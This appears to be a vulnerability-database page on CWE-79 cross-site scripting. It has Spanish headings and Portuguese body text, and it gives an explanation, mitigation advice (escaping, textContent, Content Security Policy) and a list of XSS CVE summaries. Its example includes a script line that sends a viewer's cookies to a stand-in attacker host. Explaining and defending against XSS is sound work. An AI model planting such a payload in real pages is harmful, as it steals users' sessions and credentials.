Fallos del tipo CWE-79

29.139 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-3167MEDIUMOcean Extra <= 2.2.6 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.5%CVE-2026-9148HIGHComments <= 7.6.56 - Unauthenticated Stored Cross-Site Scripting via 'Website' FieldEPSS 0.5%CVE-2026-7330HIGHAuto Affiliate Links <= 6.8.8 - Unauthenticated Stored Cross-Site Scripting via 'url' ParameterEPSS 0.5%CVE-2023-26998MEDIUMCross Site Scripting vulnerability found in NetScoutnGeniusOne v.6.3.4 allows a remote attacker to execute arbitrary code via the creator paEPSS 0.5%CVE-2026-83561HIGHComplianz GDPR/CCPA Cookie Consent Banner <= 7.5.4 - Unauthenticated Stored Cross-Site Scripting via Elementor Cookie Blocker RegexEPSS 0.5%CVE-2024-4104MEDIUMADFO – Custom data in admin dashboard <= 1.9.0 - Reflected Cross-Site ScriptingEPSS 0.5%CVE-2023-30106MEDIUMSourcecodester Medicine Tracker System in PHP 1.0.0 is vulnerable to Cross Site Scripting (XSS) via page=about.EPSS 0.5%CVE-2023-2219LOWSourceCodester Task Reminder System Users.php cross site scriptingEPSS 0.5%CVE-2025-0844MEDIUMneedyamin Library Card System Registration Page signup.php cross site scriptingEPSS 0.5%CVE-2022-4667MEDIUMRSS Aggregator by Feedzy < 4.1.1 - Contributor+ Stored XSSEPSS 0.5%CVE-2025-66472MEDIUMXWiki vulnerable to a reflected XSS via xredirect parameter in DeleteApplicationEPSS 0.5%CVE-2024-55342MEDIUMA file upload functionality in Piranha CMS 11.1 allows authenticated remote attackers to upload a crafted PDF file to /manager/media. This PEPSS 0.5%CVE-2024-45060HIGHUnauthenticated Cross-Site-Scripting (XSS) in sample file in PHPSpreadsheetEPSS 0.5%CVE-2022-40215LOWWordPress Tabs plugin <= 3.7.1 - Multiple Authenticated Stored Cross-Site Scripting (XSS) vulnerabilitiesEPSS 0.5%CVE-2025-43440MEDIUMThis issue was addressed with improved checks. This issue is fixed in Safari 26.1, iOS 26.1 and iPadOS 26.1, macOS Tahoe 26.1, tvOS 26.1, viEPSS 0.5%CVE-2023-5086MEDIUMCopy Anything to Clipboard <= 2.6.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.5%CVE-2025-21612HIGHCross-site Scripting in TabberTransclude in Extension:TabberNeueEPSS 0.5%CVE-2024-4150MEDIUMSimple Basic Contact Form <= 20221201 - Reflected Cross-Site ScriptingEPSS 0.5%CVE-2023-33969MEDIUMStored Cross site scripting in the Task External Link Functionality in KanboardEPSS 0.5%CVE-2025-27793MEDIUMVega vulnerable to Cross-site Scripting via RegExp.prototype[@@replace]EPSS 0.5%